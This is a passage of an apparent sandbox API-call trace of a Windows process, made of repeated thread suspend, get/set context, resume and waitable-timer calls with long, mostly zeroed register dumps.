[11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0174.251] ResumeThread (hThread=0x16c) returned 0x1 [0174.251] CloseHandle (hObject=0x16c) returned 1 [0174.251] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.252] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.337] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.337] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.390] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x16c) returned 1 [0174.390] SuspendThread (hThread=0x16c) returned 0x0 [0174.391] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000197890, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x16b8ffe, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0174.406] ResumeThread (hThread=0x16c) returned 0x1 [0174.406] CloseHandle (hObject=0x16c) returned 1 [0174.406] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.406] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.417] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.418] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.635] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.635] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.740] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.740] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.833] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x16c) returned 1 [0174.833] SuspendThread (hThread=0x16c) returned 0x0 [0174.833] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000414ae0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1c81ffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0174.843] SetThreadContext (hThread=0x16c, lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000414ad8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0174.845] ResumeThread (hThread=0x16c) returned 0x1 [0174.845] CloseHandle (hObject=0x16c) returned 1 [0174.845] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.845] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.857] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.857] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.904] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.904] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0174.960] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0174.960] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.101] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.101] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.162] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.163] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.174] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.174] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.388] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.389] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.444] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0175.445] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0175.582] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x10c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0175.582] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x174 [0175.582] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x178 [0175.582] SwitchToThread () returned 1 [0175.593] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0175.604] SuspendThread (hThread=0x170) returned 0x0 [0175.605] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x4b3bfb68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fffccacb654, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, 